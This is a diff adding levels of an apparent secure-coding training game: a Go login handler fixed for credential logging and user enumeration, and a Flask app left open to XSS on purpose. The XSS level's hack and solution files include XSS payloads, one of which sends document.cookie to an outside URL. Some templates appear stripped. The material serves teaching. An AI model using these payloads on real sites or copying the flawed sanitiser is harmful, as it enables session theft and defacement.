+func TestLoginHandler_SensitiveLog_ValidCredentials_FIXME(t *testing.T) {
+ var buf bytes.Buffer
+ log.SetOutput(&buf)
+
+ reqBody := `{"email": "user1@example.com", "password": "password12345"}`
+ req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusOK {
+ t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code)
+ }
+
+ logOutput := buf.String()
+ expectedRespLog := "Successful login request"
+ if strings.Contains(logOutput, "user1@example.com") || strings.Contains(logOutput, "password12345") {
+ t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput)
+ t.Fail()
+ }
+}
diff --git a/Season-2/Level-2/hint-1.txt b/Season-2/Level-2/hint-1.txt
new file mode 100644
index 0000000..93e5695
--- /dev/null
+++ b/Season-2/Level-2/hint-1.txt
@@ -0,0 +1,3 @@
+Can an attacker guess or enumerate valid emails of Lumberjack customers?
+
+Try again, without reading hint-2.txt or the CodeQL code scanning alerts ;-)
\ No newline at end of file
diff --git a/Season-2/Level-2/hint-2.txt b/Season-2/Level-2/hint-2.txt
new file mode 100644
index 0000000..6454c97
--- /dev/null
+++ b/Season-2/Level-2/hint-2.txt
@@ -0,0 +1,3 @@
+OMG! Does Lumberjack really log emails (twice in the code) and passwords (once in the code)?
+
+Try again, without reading the CodeQL code scanning alerts ;-)
\ No newline at end of file
diff --git a/Season-2/Level-2/solution/go.mod b/Season-2/Level-2/solution/go.mod
new file mode 100644
index 0000000..1c84dae
--- /dev/null
+++ b/Season-2/Level-2/solution/go.mod
@@ -0,0 +1,3 @@
+module secure-code-game
+
+go 1.20
\ No newline at end of file
diff --git a/Season-2/Level-2/solution/solution.go b/Season-2/Level-2/solution/solution.go
new file mode 100644
index 0000000..d66354a
--- /dev/null
+++ b/Season-2/Level-2/solution/solution.go
@@ -0,0 +1,102 @@
+// Solution explained:
+
+// 1) Remove the email being logged here:
+// log.Printf("Invalid email format: %q", email)
+// log.Printf("Invalid email format")
+
+// 2) Fix the error message to prevent user enumeration here:
+// http.Error(w, "invalid email or password", http.StatusUnauthorized)
+// http.Error(w, "Invalid Email or Password", http.StatusUnauthorized)
+
+// 3) Remove the email and password being logged here:
+// log.Printf("User %q logged in successfully with a valid password %q", email, password)
+// log.Printf("Successful login request")
+
+// Full solution follows:
+
+package main
+
+import (
+ "encoding/json"
+ "log"
+ "net/http"
+ "regexp"
+)
+
+var reqBody struct {
+ Email string `json:"email"`
+ Password string `json:"password"`
+}
+
+func isValidEmail(email string) bool {
+ // The provided regular expression pattern for email validation by OWASP
+ // https://owasp.org/www-community/OWASP_Validation_Regex_Repository
+ emailPattern := `^[a-zA-Z0-9_+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}$`
+ match, err := regexp.MatchString(emailPattern, email)
+ if err != nil {
+ return false
+ }
+ return match
+}
+
+func loginHandler(w http.ResponseWriter, r *http.Request) {
+
+ // Test users
+ var testFakeMockUsers = map[string]string{
+ "user1@example.com": "password12345",
+ "user2@example.com": "B7rx9OkWVdx13$QF6Imq",
+ "user3@example.com": "hoxnNT4g&ER0&9Nz0pLO",
+ "user4@example.com": "Log4Fun",
+ }
+
+ if r.Method == "POST" {
+
+ decode := json.NewDecoder(r.Body)
+ decode.DisallowUnknownFields()
+
+ err := decode.Decode(&reqBody)
+ if err != nil {
+ http.Error(w, "Cannot decode body", http.StatusBadRequest)
+ return
+ }
+ email := reqBody.Email
+ password := reqBody.Password
+
+ if !isValidEmail(email) {
+ // Fix: Removing the email from the log
+ // log.Printf("Invalid email format: %q", email)
+ log.Printf("Invalid email format")
+ http.Error(w, "Invalid email format", http.StatusBadRequest)
+ return
+ }
+
+ storedPassword, ok := testFakeMockUsers[email]
+ if !ok {
+ // Fix: Correcting the message to prevent user enumeration
+ // http.Error(w, "invalid email or password", http.StatusUnauthorized)
+ http.Error(w, "Invalid Email or Password", http.StatusUnauthorized)
+ return
+ }
+
+ if password == storedPassword {
+ // Fix: Removing the email and password from the log
+ // log.Printf("User %q logged in successfully with a valid password %q", email, password)
+ log.Printf("Successful login request")
+ w.WriteHeader(http.StatusOK)
+ } else {
+ http.Error(w, "Invalid Email or Password", http.StatusUnauthorized)
+ }
+
+ } else {
+ http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
+ }
+}
+
+func main() {
+ http.HandleFunc("/login", loginHandler)
+ log.Print("Server started. Listening on :8080")
+ err := http.ListenAndServe(":8080", nil)
+ if err != nil {
+ log.Fatalf("HTTP server ListenAndServe: %q", err)
+ }
+}
diff --git a/Season-2/Level-2/solution/solution_test.go b/Season-2/Level-2/solution/solution_test.go
new file mode 100644
index 0000000..6037638
--- /dev/null
+++ b/Season-2/Level-2/solution/solution_test.go
@@ -0,0 +1,214 @@
+// Run solution_test.go by following the instructions below:
+
+// This file is a copy of code_test.go and hack_test.go
+// It tests the solution for failing and passing payloads
+
+// Run them by opening a terminal and running the following:
+// $ go test -v Season-2/Level-2/solution/solution.go Season-2/Level-2/solution/solution_test.go
+
+// If 'go' is not found when running the above, install it from:
+// https://go.dev/dl/
+
+package main
+
+import (
+ "bytes"
+ "log"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "strings"
+ "testing"
+ "time"
+)
+
+func TestLoginHandler_UserEnumeration_InvalidEmail(t *testing.T) {
+ reqBody := `{"email": "invalid@example.com", "password": "password12345"}`
+ req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusUnauthorized {
+ t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code)
+ }
+
+ respBody := strings.TrimSpace(recorder.Body.String())
+ expectedRespBody := "Invalid Email or Password"
+ if respBody != expectedRespBody {
+ t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
+ }
+}
+
+func TestLoginHandler_SensitiveLog_InvalidEmail_FIXME(t *testing.T) {
+ var buf bytes.Buffer
+ log.SetOutput(&buf)
+
+ reqBody := `{"email": "in.valid@ex@mple.com", "password": "password12345"}`
+ req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusBadRequest {
+ t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code)
+ }
+
+ logOutput := buf.String()
+ expectedRespLog := "Invalid email format"
+ if strings.Contains(logOutput, "in.valid@ex@mple.com") {
+ t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput)
+ t.Fail()
+ }
+}
+
+func TestLoginHandler_SensitiveLog_ValidCredentials_FIXME(t *testing.T) {
+ var buf bytes.Buffer
+ log.SetOutput(&buf)
+
+ reqBody := `{"email": "user1@example.com", "password": "password12345"}`
+ req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusOK {
+ t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code)
+ }
+
+ logOutput := buf.String()
+ expectedRespLog := "Successful login request"
+ if strings.Contains(logOutput, "user1@example.com") || strings.Contains(logOutput, "password12345") {
+ t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput)
+ t.Fail()
+ }
+}
+
+func TestLoginHandler_ValidCredentials(t *testing.T) {
+ reqBody := `{"email": "user1@example.com", "password": "password12345"}`
+ req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusOK {
+ t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code)
+ }
+}
+
+func TestLoginHandler_InvalidCredentials(t *testing.T) {
+ reqBody := `{"email": "user1@example.com", "password": "invalid_password"}`
+ req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusUnauthorized {
+ t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code)
+ }
+
+ respBody := strings.TrimSpace(recorder.Body.String())
+ if respBody != "Invalid Email or Password" {
+ t.Errorf("Expected body %q, but got %q", "Invalid Email or Password", respBody)
+ }
+}
+
+func TestLoginHandler_InvalidEmailFormat(t *testing.T) {
+ reqBody := `{"email": "invalid_email", "password": "password12345"}`
+ req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusBadRequest {
+ t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code)
+ }
+
+ respBody := strings.TrimSpace(recorder.Body.String())
+ expectedRespBody := "Invalid email format"
+ if respBody != expectedRespBody {
+ t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
+ }
+}
+
+func TestLoginHandler_InvalidRequestMethod(t *testing.T) {
+ req, err := http.NewRequest("GET", "/login", nil)
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusMethodNotAllowed {
+ t.Errorf("Expected status code %d, but got %d", http.StatusMethodNotAllowed, recorder.Code)
+ }
+
+ respBody := strings.TrimSpace(recorder.Body.String())
+ expectedRespBody := "Invalid request method"
+ if respBody != expectedRespBody {
+ t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
+ }
+}
+
+func TestLoginHandler_UnknownFieldsInRequestBody(t *testing.T) {
+ reqBody := `{"email": "user1@example.com", "password": "password12345", "unknown_field": "value"}`
+
+ req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
+ if err != nil {
+ t.Fatalf("Failed to create request: %v", err)
+ }
+
+ recorder := httptest.NewRecorder()
+ handler := http.HandlerFunc(loginHandler)
+ handler.ServeHTTP(recorder, req)
+
+ if recorder.Code != http.StatusBadRequest {
+ t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code)
+ }
+
+ respBody := strings.TrimSpace(recorder.Body.String())
+ expectedRespBody := "Cannot decode body"
+ if respBody != expectedRespBody {
+ t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody)
+ }
+}
+
+func TestMain(m *testing.M) {
+ go func() {
+ main()
+ }()
+
+ time.Sleep(500 * time.Millisecond)
+
+ exitCode := m.Run()
+ os.Exit(exitCode)
+}
+
+// Contribute new levels to the game in 3 simple steps!
+// Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
\ No newline at end of file
diff --git a/Season-2/Level-3/code.py b/Season-2/Level-3/code.py
new file mode 100644
index 0000000..0765b77
--- /dev/null
+++ b/Season-2/Level-3/code.py
@@ -0,0 +1,57 @@
+# Welcome to Secure Code Game Season-2/Level-3!
+
+# Follow the instructions below to get started:
+
+# 1. tests.py file is passing but code.py is vulnerable
+# 2. Review the code in this file. Can you spot the bugs(s)?
+# 3. Fix the bug(s) in code.py. Ensure that tests.py passes
+# 4. Run hack.py and if passing then CONGRATS!
+# 5. If stuck then read the hint
+# 6. Compare your solution with solution.txt
+
+# Run code.py (RECOMMENDED for this level) by following the instructions below:
+
+# Run by opening a terminal and running the following:
+# $ export FLASK_APP=Season-2/Level-3/code.py && export FLASK_ENV=development && export FLASK_DEBUG=0 && flask run
+
+import os
+import re
+from flask import Flask, request, render_template
+app = Flask(__name__)
+
+# Set the absolute path to the template directory
+template_dir = os.path.abspath('Season-2/Level-3/templates')
+app.template_folder = template_dir
+
+# Hard-coded planet data
+planet_data = {
+ "Mercury": "The smallest and fastest planet in the Solar System.",
+ "Venus": "The second planet from the Sun and the hottest planet.",
+ "Earth": "Our home planet and the only known celestial body to support life.",
+ "Mars": "The fourth planet from the Sun and often called the 'Red Planet'.",
+ "Jupiter": "The largest planet in the Solar System and known for its great red spot.",
+}
+
+@app.route('/', methods=['GET', 'POST'])
+def index():
+ if request.method == 'POST':
+ planet = request.form.get('planet')
+ sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '')
+
+ if sanitized_planet:
+ if 'script' in sanitized_planet.lower() :
+ return '
'
+
+ return render_template('index.html')
+
+def get_planet_info(planet):
+ return planet_data.get(planet, 'Unknown planet.')
+
+if __name__ == '__main__':
+ app.run()
\ No newline at end of file
diff --git a/Season-2/Level-3/hack.txt b/Season-2/Level-3/hack.txt
new file mode 100644
index 0000000..54c7854
--- /dev/null
+++ b/Season-2/Level-3/hack.txt
@@ -0,0 +1,8 @@
+Simulate an attack by following these steps:
+
+1. Start the application as instructed in 'code.py'
+2. Enter the following in the planet input field:
+<img src='x' onerror='alert(1)'>
+
+The application should return a message stating that such a
+planet is unknown to the system, without showing an alert box
\ No newline at end of file
diff --git a/Season-2/Level-3/hint.txt b/Season-2/Level-3/hint.txt
new file mode 100644
index 0000000..5d0fa72
--- /dev/null
+++ b/Season-2/Level-3/hint.txt
@@ -0,0 +1 @@
+How does the site handle user input before and after displaying it?
\ No newline at end of file
diff --git a/Season-2/Level-3/solution.txt b/Season-2/Level-3/solution.txt
new file mode 100644
index 0000000..499e4c8
--- /dev/null
+++ b/Season-2/Level-3/solution.txt
@@ -0,0 +1,68 @@
+# Contribute new levels to the game in 3 simple steps!
+# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
+
+This code is vulnerable to Cross-Site Scripting (XSS).
+
+Learn more about Cross-Site Scripting (XSS): https://portswigger.net/web-security/cross-site-scripting
+Example from a security advisory: https://securitylab.github.com/advisories/GHSL-2023-084_Pay/
+
+Why the application is vulnerable to XSS?
+It seems that the user input is properly sanitized, as shown below:
+
+planet = request.form.get('planet')
+sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '')
+
+What if all HTML's start and end tags were pruned away, what could go wrong in that case?
+Furthermore, an anti-XSS defense is implemented, preventing inputs with the 'script' tag.
+However, other tags, such as the 'img' tag, can still be used to exploit a XSS bug as follows:
+
+Exploit:
+<img src="x" onerror="alert(1)">
+
+Explanation:
+With this payload, the XSS attack will execute successfully, since it will force the browser to open an
+alert dialog box. There are several reasons why this is possible, as explained below:
+
+1) The regular expression (RegEx) doesn't cover for the () characters and these are necessary for function
+invocation in JavaScript.
+2) The sanitization doesn't touch the < and > special entities.
+3) The 'display.html' is showing the planet name with the 'safe' option. This is always a risky decision.
+4) The 'display.html' is reusing an unprotected planet name and rendering it at another location as HTML.
+
+How can we fix this?
+
+1) Never reuse a content rendered in 'safe' regime as HTML. It's unescaped.
+2) Don't reinvent the wheel by coming up with your own escaping facility.
+You can use the function 'escape', which is a built-in function inside the markup module used by Flask.
+This function helps to escape special characters in the input, preventing them from being executed
+as HTML or JavaScript.
+
+Example:
+from markupsafe import escape
+
+sanitized_planet = escape(planet)
+
+What else can XSS do?
+- Steal cookies and session information
+- Redirect to malicious websites
+- Modify website content
+- Phishing
+- Keylogging
+
+How to prevent XSS?
+- Sanitize user input properly
+- Use Content Security Policy (CSP)
+- Use HttpOnly Cookies
+- Use X-XSS-Protection header
+
+Here are some exploit examples:
+
+- Redirect to phishing page using XSS:
+<img src="x" onerror="window.location.href = 'https://google.com';">
+
+- Get cookies:
+<img src="x" onerror="window.location.href = 'https://google.com/?cookie=' + document.cookie;">
+
+- Modify website content:
+You can inject any phishing page, malicious page, or any other content to the website using XSS, by:
+<img src="x" onerror="document.body.innerHTML = 'Website is hacked';">
\ No newline at end of file
diff --git a/Season-2/Level-3/templates/details.html b/Season-2/Level-3/templates/details.html
new file mode 100644
index 0000000..28db517
--- /dev/null
+++ b/Season-2/Level-3/templates/details.html
@@ -0,0 +1,31 @@
+
+
+
+
+ Planet Details
+
+
+
+
+
Planet Details
+
Planet name: {{ planet | safe }}
+
Planet info: {{ info | safe }}
+
+
Search in Google for more information about the planet:
+
+
+
+
\ No newline at end of file
diff --git a/Season-2/Level-3/templates/index.html b/Season-2/Level-3/templates/index.html
new file mode 100644
index 0000000..fea9f71
--- /dev/null
+++ b/Season-2/Level-3/templates/index.html
@@ -0,0 +1,63 @@
+
+
+
+
+ Planet Information
+
+
+
+
+
Planet Information
+
+
+
+
\ No newline at end of file
diff --git a/Season-2/Level-3/tests.py b/Season-2/Level-3/tests.py
new file mode 100644
index 0000000..f765d6d
--- /dev/null
+++ b/Season-2/Level-3/tests.py
@@ -0,0 +1,63 @@
+# Run tests.py by following the instructions below:
+
+# This file contains passing tests.
+
+# Run them by opening a terminal and running the following:
+# $ python3 Season-2/Level-3/tests.py
+
+# Note: first you have to run code.py following the instructions
+# on top of that file so that the environment variables align but
+# it's not necessary to run both files in parallel as the tests
+# initialize a new environment, similar to code.py
+
+from code import app, get_planet_info
+import unittest
+from flask_testing import TestCase
+
+class MyTestCase(TestCase):
+ def create_app(self):
+ app.config['TESTING'] = True
+ app.config['TEMPLATES_AUTO_RELOAD'] = True
+ return app
+
+ def test_index_route(self):
+ response = self.client.get('/')
+ self.assert200(response)
+ self.assertTemplateUsed('index.html')
+
+ def test_get_planet_info_invalid_planet(self):
+ planet = 'Pluto'
+ expected_info = 'Unknown planet.'
+ result = get_planet_info(planet)
+ self.assertEqual(result, expected_info)
+
+ def test_get_planet_info_valid_planet(self):
+ planet = 'Mercury'
+ expected_info = 'The smallest and fastest planet in the Solar System.'
+ result = get_planet_info(planet)
+ self.assertEqual(result, expected_info)
+
+ def test_index_valid_planet(self):
+ planet = 'Venus'
+ response = self.client.post('/', data={'planet': planet})
+ self.assert200(response)
+ self.assertEqual(response.data.decode()[:15], '')
+
+ def test_index_missing_planet(self):
+ response = self.client.post('/')
+ self.assert200(response)
+ self.assertEqual(response.data.decode(), '